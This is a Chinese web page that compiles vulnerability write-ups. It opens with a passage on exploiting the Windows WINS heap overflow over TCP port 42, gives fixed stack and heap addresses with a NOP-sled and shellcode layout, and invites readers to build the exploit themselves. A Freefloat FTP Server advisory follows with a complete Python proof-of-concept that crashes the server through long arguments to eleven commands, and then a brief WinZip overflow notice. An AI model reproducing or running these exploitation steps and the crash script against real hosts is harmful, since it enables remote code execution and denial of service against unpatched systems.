那么,让程序流向何处呢?当然是我们的ShellCode。我们的ShellCode可以随报文一块儿送过去,所以在堆上一定能找到一份拷贝。报文已经有了大量的如表3所定义的结构,然后在报文的最后写入ShellCode,中间可用大量的NOPs来填充。在猜指针的时候我们就大致的猜到了堆所在的地址,所以根据猜测的地址来定位ShellCode也是可以的。这样子,把堆上ShellCode的地址写到栈上函数的返回地址就可以获得控制权了。这一步可能也需要暴力猜解,因为栈上的返回地址可能并不确定。
在测试的过程中,我们发现栈上返回地址的位置几乎是固定的,都是0x53df4c4,在对近70台机器的测试中,约有半数以上这个地址都是有效的。所以如果不打算写复杂的程序暴力猜测,这个地址就足够了。测试中涉及到了中文版几乎所有SP和MS04006补丁的情况,可见这个还是有一定的通用性的。倘若只是玩票性质的写写EXP,可以直接设置Where的值为0x53df4c4 �C 48h。
同样的,在上述的测试过程中,我们发现第一个发送过去的报文总是拷贝到一个固定的位置,如果用表三所示的数据结构来填充报文,那么这个数据结构第一次出现的位置几乎都固定在0x05391eac。这个几率大概是八成左右,偶尔的失败情况不详,但是有一点可以肯定的是,如果你造成了异常而导致堆没有被正确释放,那么后续报文被拷贝到的地址肯定在这之后。
有了上述两个地址,要写一个成功率一般的利用程序已经不难,按照上面的报文格式,设定四字节的指针为0x05391eac,然后填充一个图三所示的结构,里面Where都填充为固定的栈上的函数返回地址0x53df4c4 �C 48h,所有的What都填上我们猜测的一个大概的ShellCode的位置(比如0x05392000),接下来填充大约0x200个NOPs也就是0x90,然后加上一个任意的ShellCode,把这个报文发送到目标主机的TCP 42口,就有很大的可能性获得对方的控制权了。如果你的ShellCode不是以ExitProcess(0)结束的,那么你还可以反复的利用这个漏洞来获得控制权,只是每次的结果用的都是第一次发送的ShellCode――堆内存没有被释放而且我们猜测的是第一次发送的地址,如果你用的是Bind port的,那还好,如果是Reverse过来的那就麻烦了,别人要是抢先一步,用这种方法就算成功了你也没有机会的。
至于其它的利用方式,说实话写RtlEnterCriticalSection不太稳定,暴力猜解可是可以,还是麻烦了一点,不知道有没有其他的利用方式。表面上看起来难以利用的漏洞公布出来,没有0day的利用方法怎么也说不过去,只有看看以后是否有好的方法公布出来了。
关于这个漏洞的危害,报告也说明了,理论上来说对于所有开放了WINS服务(简单的用TCP端口42来判断)的Windows NT、Windows 2000、Windows 都有危险,在这个补丁没有出来的时候,最好还是把WINS服务关掉,或者用防火墙一类滤掉所有指向TCP42的报文。也就是因为漏洞没有出补丁就公开了这件事情,据说微软搞得很恼火(微软12月1日报告称没有收到受此漏洞攻击的报告,这简直是笑话,EXP是很容易写的,至少可以弄个不怎么通用的出来,我才不相信没有受到攻击,最多是没有报告罢了),顶着风头外面谁也不敢给出利用程序来。同样的,老独物WTF虽然也很期盼,但估计没这个胆把利用程序放到光盘里面去,大家要爽估计只有等到微软出了补丁后再放出利用程序来了,据说一月份就会出补丁,那么最快二月份可能就可以得到EXP。至于稍微懂行一点的朋友,想必都已经写出来了,有兴趣的的朋友也可以按照上面说的方法来写一个出来,我已经说得很清楚很明显了,不是么?
篇6:Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警
发布日期:-08-05
更新日期:2011-08-05
受影响系统:
Freefloat Freefloat FTP Server 1.00
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 49052
Freefloat FTP Server是免费的用于上传文件和管理有线及无线设备的软件,
Freefloat FTP Server在多个命令的处理上存在远程缓冲区溢出漏洞,远程攻击者可利用这些漏洞在受影响应用程序中执行任意代码,也可能会造成拒绝服务。
<*来源:Veerendra G.G
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
49052.py
#!/usr/bin/python
##############################################################################
# Title : Freefloat FTP Server Multiple Buffer Overflow Vulnerabilities
# Author : Veerendra G.G from SecPod Technologies (www.secpod.com)
# Vendor : www.freefloat.com/sv/utilities-tools/utilities-tools.php
# Advisory : secpod.org/blog/?p=310
# secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py
# secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt
# Version : Freefloat FTP Server Version 1.0
# Date : 21/07/2011
##############################################################################
import sys, socket
def exploit(HOST, PORT, CMD):
try:
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_sock.connect((HOST, PORT))
except Exception, msg:
print “[-] Not able to connect to : ” , HOST
sys.exit(0)
res = tcp_sock.recv(1024)
if “220 FreeFloat” not in res:
print “[-] FreeFloat FTP Server Not Found...”
tcp_sock.close
sys.exit(0)
tcp_sock.send(“USER testrn”)
tcp_sock.recv(1024)
tcp_sock.send(“PASS testrn”)
tcp_sock.recv(1024)
tcp_sock.send(CMD + “ ”+ “A” * 1000 + “rn”)
tcp_sock.close()
if __name__ == “__main__”:
if len(sys.argv) < 2:
print “t[-] Usage: python exploit.py target_ip”
print “t[-] Example : python exploit.py 127.0.0.1”
print “t[-] Exiting...”
sys.exit(0)
HOST = sys.argv[1]
PORT = 21
## Vulnerable Commands
CMDs = [“DELE”, “MDTM”, “RETR”, “RMD”, “RNFR”,
“RNTO”, “STOU”, “STOR”, “SIZE”, “APPE”, “STAT”]
for CMD in CMDs:
print “[+] Connecting with server...”
exploit(HOST, PORT, CMD)
print “[+] Exploit Sent with %s command...” %(CMD)
print “[+] Checking Server Crashed or not...”
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.close()
except Exception, msg:
print “[+] Server Crashed with %s Command” %(CMD)
sys.exit(0)
建议:
--------------------------------------------------------------------------------
厂商补丁:
Freefloat
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.freefloat.com/
篇7:Winzip存在多个缓冲区溢出漏洞
Winzip存在多个缓冲区溢出漏洞
受影响系统:
WinZip 3.x
WinZip 6.x
WinZip 7.x
WinZip 8.x
WinZip 9.x
漏洞描述:
Winzip存在多个潜在安全漏洞,可危及用户系统安全,
1) 一些未明漏洞可导致缓冲溢出,
利用这些漏洞可能导致执行任意代码。
2) 一个问题导致事由于未正确确认命令行参数,通过使用特殊构建的参数可导致缓冲溢出和可能执行任意代码漏洞。
补丁下载:
www.winzip.com/upgrade.htm
热门推荐:苹果
点击阅读更多学院相关文章>>
分享到
★ Samba nmbdpackets.c NetBIOS 回复栈有溢出漏洞
★ 网络安全试题
【IOS LPD远程缓冲区溢出漏洞(通用7篇)】相关文章:
如何保障Unix系统安全Windows系统2023-07-25
网络安全防护方案2022-12-18
安全知识竞赛活动策划方案2024-05-07
微软将改进Windows8语音控制功能2023-05-07
Office曝新安全漏洞2022-11-29
Cisco GRE(隧道协议)2022-11-07
药品、食品工业的在线清洗技术2023-02-10
计算机网络信息安全现况论文2023-07-15
一个中国黑客公开信2023-09-08
网络与现实生活的完美再现相关论文2022-09-12